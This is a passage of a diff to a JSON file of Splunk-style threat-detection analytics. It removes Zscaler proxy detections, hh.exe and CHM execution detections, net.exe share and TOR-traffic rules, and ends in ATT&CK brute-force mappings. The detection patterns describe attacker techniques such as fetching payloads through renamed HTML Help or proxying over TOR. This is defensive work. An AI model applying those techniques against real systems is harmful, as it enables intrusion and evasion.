security. If confirmed malicious, such activity could lead to unauthorized code execution, privilege escalation, or persistent access within the environment, posing a severe threat to organizational security.", - "search": "`zscaler_proxy` action=blocked threatname=*exploit* | stats count min(_time) as firstTime max(_time) as lastTime by user threatname src hostname fileclass filename url dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_exploit_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Exploit Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Legal Liability Threat Blocked", - "description": "The following analytic identifies significant legal liability threats blocked by the Zscaler web proxy. It uses web proxy logs to track destinations, device owners, users, URL categories, and actions associated with legal liability. By leveraging statistics on unique fields, it ensures a precise focus on these threats. This activity is significant for SOC as it helps enforce legal compliance and risk management. If confirmed malicious, it could indicate attempts to access legally sensitive or restricted content, potentially leading to legal repercussions and compliance violations.", - "search": "`zscaler_proxy` urlclass=\"Legal Liability\" | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | dedup urlcategory | `zscaler_legal_liability_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Legal Liability Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 16, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Malware Activity Threat Blocked", - "description": "The following analytic identifies potential malware activities within a network that are blocked by Zscaler. It leverages web proxy logs to filter for blocked actions associated with malware, aggregating occurrences by user, URL, and threat category. This detection is significant for SOC as it highlights attempts to access malicious content, indicating potential compromise or targeted attacks. If confirmed malicious, this activity could signify an ongoing attempt to infiltrate the network, necessitating immediate investigation to prevent further threats and ensure network integrity.", - "search": "`zscaler_proxy` action=blocked threatname=*malware* threatcategory!=None | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_malware_activity_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Malware Activity from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Phishing Activity Threat Blocked", - "description": "The following analytic identifies potential phishing attempts blocked by Zscaler within a network. It leverages web proxy logs to detect actions tagged as HTML.Phish. The detection method involves analyzing critical data points such as user, threat name, URL, and hostname. This activity is significant for a SOC as it serves as an early warning system for phishing threats, enabling prompt investigation and mitigation. If confirmed malicious, this activity could indicate an attempt to deceive users into divulging sensitive information, potentially leading to data breaches or credential theft.", - "search": "`zscaler_proxy` action=blocked threatname=\"HTML.Phish*\" | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user threatname url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_phishing_activity_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Phishing Activity from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 16, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Potentially Abused File Download", - "description": "The following analytic identifies the download of potentially malicious file types, such as .scr, .dll, .bat, and .lnk, within a network. It leverages web proxy logs from Zscaler, focusing on blocked actions and analyzing fields like deviceowner, user, urlcategory, url, dest, and filename. This activity is significant as these file types are often used to spread malware, posing a threat to network security. If confirmed malicious, this activity could lead to malware execution, data compromise, or further network infiltration.", - "search": "`zscaler_proxy` url IN (\"*.scr\", \"*.dll\", \"*.bat\", \"*.lnk\") | stats count min(_time) as firstTime max(_time) as lastTime by deviceowner user urlcategory url src filename dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_potentially_abused_file_download_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Abused File Download from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 8, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Privacy Risk Destinations Threat Blocked", - "description": "The following analytic identifies blocked destinations within a network that are deemed privacy risks by Zscaler. It leverages web proxy logs, focusing on entries marked as \"Privacy Risk.\" Key data points such as device owner, user, URL category, destination URL, and IP are analyzed. This activity is significant for a SOC as it helps monitor and manage privacy risks, ensuring a secure network environment. If confirmed malicious, this activity could indicate attempts to access or exfiltrate sensitive information, posing a significant threat to data privacy and security.", - "search": "`zscaler_proxy` action=blocked urlclass=\"Privacy Risk\" | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | dedup urlcategory | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_privacy_risk_destinations_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Privacy Risk Destinations from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 8, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Scam Destinations Threat Blocked", - "description": "The following analytic identifies blocked scam-related activities detected by Zscaler within a network. It leverages web proxy logs to examine actions flagged as scam threats, focusing on data points such as device owner, user, URL category, destination URL, and IP. This detection is significant for SOC as it helps in the early identification and mitigation of scam activities, ensuring network safety. If confirmed malicious, this activity could indicate attempts to deceive users, potentially leading to data theft or financial loss.", - "search": "`zscaler_proxy` action=blocked threatname=*scam* | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_scam_destinations_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Scam Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 8, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } - }, - { - "name": "Zscaler Virus Download threat blocked", - "description": "The following analytic identifies attempts to download viruses that were blocked by Zscaler within a network. It leverages web proxy logs to detect blocked actions indicative of virus download attempts. Key data points such as device owner, user, URL category, destination URL, and IP are analyzed. This activity is significant as it helps in early detection and remediation of potential virus threats, enhancing network security. If confirmed malicious, this activity could indicate an attempt to compromise the network, potentially leading to data breaches or further malware infections.", - "search": "`zscaler_proxy` action=blocked threatname!=\"None\" threatclass=Virus | stats count min(_time) as firstTime max(_time) as lastTime by action deviceowner user urlcategory url src dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `zscaler_virus_download_threat_blocked_filter`", - "tags": { - "analytic_story": [ - "Zscaler Browser Proxy Threats" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential Virus Download Threat from dest -[$dest$] on $src$ for user-[$user$].", - "risk_score": 40, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - } - ] - } } ], "external_reference": [ @@ -528205,398 +358608,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Detect HTML Help Renamed", - "description": "The following analytic detects instances where hh.exe (HTML Help) has been renamed and is executing a Compiled HTML Help (CHM) file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. This activity is significant because attackers can use renamed hh.exe to execute malicious scripts embedded in CHM files, potentially leading to code execution. If confirmed malicious, this technique could allow attackers to run arbitrary scripts, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=hh.exe AND Processes.original_file_name=HH.EXE by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_renamed_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ executed by $user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help Spawn Child Process", - "description": "The following analytic detects the execution of hh.exe (HTML Help) spawning a child process, indicating the use of a Compiled HTML Help (CHM) file to execute Windows script code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where hh.exe is the parent process. This activity is significant as it may indicate an attempt to execute malicious scripts via CHM files, a known technique for bypassing security controls. If confirmed malicious, this could lead to unauthorized code execution, potentially compromising the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=hh.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_spawn_child_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ spawning a child process, typically not normal behavior.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help URL in Command Line", - "description": "The following analytic detects the execution of hh.exe (HTML Help) loading a Compiled HTML Help (CHM) file from a remote URL. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing URLs. This activity is significant as it can indicate an attempt to execute malicious scripts via CHM files, potentially leading to unauthorized code execution. If confirmed malicious, this could allow an attacker to run scripts using engines like JScript or VBScript, leading to further system compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process=*http* by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_url_in_command_line_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ contacting a remote destination to potentally download a malicious payload.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Detect HTML Help Using InfoTech Storage Handlers", - "description": "The following analytic detects the execution of hh.exe (HTML Help) using InfoTech Storage Handlers to load Windows script code from a Compiled HTML Help (CHM) file. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because it can be used to execute malicious scripts embedded within CHM files, potentially leading to code execution. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process IN (\"*its:*\", \"*mk:@MSITStore:*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_html_help_using_infotech_storage_handlers_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "$process_name$ has been identified using Infotech Storage Handlers to load a specific file within a CHM on $dest$ under user $user$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - } - ] - } - }, - { - "name": "Windows System Binary Proxy Execution Compiled HTML File Decompile", - "description": "The following analytic detects the use of the decompile parameter with the HTML Help application (HH.exe). This behavior is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions involving the decompile parameter. This activity is significant because it is an uncommon command and has been associated with APT41 campaigns, where it was used to unpack HTML help files for further malicious actions. If confirmed malicious, this technique could allow attackers to execute arbitrary commands, potentially leading to further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_hh` Processes.process=*-decompile* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_binary_proxy_execution_compiled_html_file_decompile_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Compiled HTML Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "$process_name$ has been identified using decompile against a CHM on $dest$ under user $user$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.001", - "mitre_attack_technique": "Compiled HTML File", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Dark Caracal", - "OilRig", - "Silence" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - } - ] - } } ], "external_reference": [ @@ -529520,87 +359531,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] - }, - { - "name": "Create or delete windows shares using net exe", - "description": "The following analytic detects the creation or deletion of Windows shares using the net.exe command. It leverages Endpoint Detection and Response (EDR) data to identify processes involving net.exe with actions related to share management. This activity is significant because it may indicate an attacker attempting to manipulate network shares for malicious purposes, such as data exfiltration, malware distribution, or establishing persistence. If confirmed malicious, this activity could lead to unauthorized access to sensitive information, service disruption, or malware introduction. Immediate investigation is required to determine the intent and mitigate potential threats.", - "search": "| tstats `security_content_summariesonly` count values(Processes.user) as user values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` by Processes.process Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | search process=*share* | `create_or_delete_windows_shares_using_net_exe_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-277A", - "DarkGate Malware", - "Hidden Cobra Malware", - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ enumerating Windows file shares.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1070", - "mitre_attack_technique": "Indicator Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT5", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1070.005", - "mitre_attack_technique": "Network Share Connection Removal", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Threat Group-3390" - ] - } - ] - } } ], "external_reference": [ @@ -531857,81 +361787,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "TOR Traffic", - "description": "The following analytic identifies allowed network traffic to The Onion Router (TOR), an anonymity network often exploited for malicious activities. It leverages data from Next Generation Firewalls, using the Network_Traffic data model to detect traffic where the application is TOR and the action is allowed. This activity is significant as TOR can be used to bypass conventional monitoring, facilitating hacking, data breaches, and illicit content dissemination. If confirmed malicious, this could lead to unauthorized access, data exfiltration, and severe compliance violations, compromising the integrity and security of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app=tor AND All_Traffic.action=allowed by All_Traffic.src_ip All_Traffic.dest_ip All_Traffic.dest_port All_Traffic.action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `tor_traffic_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "NOBELIUM Group", - "Prohibited Traffic Allowed or Protocol Mismatch", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious network traffic allowed using TOR has been detected from $src_ip$ to $dest_ip$", - "risk_score": 80, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1090", - "mitre_attack_technique": "Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT41", - "Blue Mockingbird", - "Cinnamon Tempest", - "CopyKittens", - "Earth Lusca", - "Fox Kitten", - "LAPSUS$", - "Magic Hound", - "MoustachedBouncer", - "POLONIUM", - "Sandworm Team", - "Turla", - "Volt Typhoon", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1090.003", - "mitre_attack_technique": "Multi-hop Proxy", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "FIN4", - "Inception", - "Leviathan" - ] - } - ] - } } ], "external_reference": [], @@ -532033,4047 +361888,408 @@ ], "commands": [], "queries": [], - "parsed_datasets": [], - "possible_detections": [ - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate to", - "target_data_element": "computer", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate to", - "target_data_element": "application", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate to", - "target_data_element": "cloud service", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network 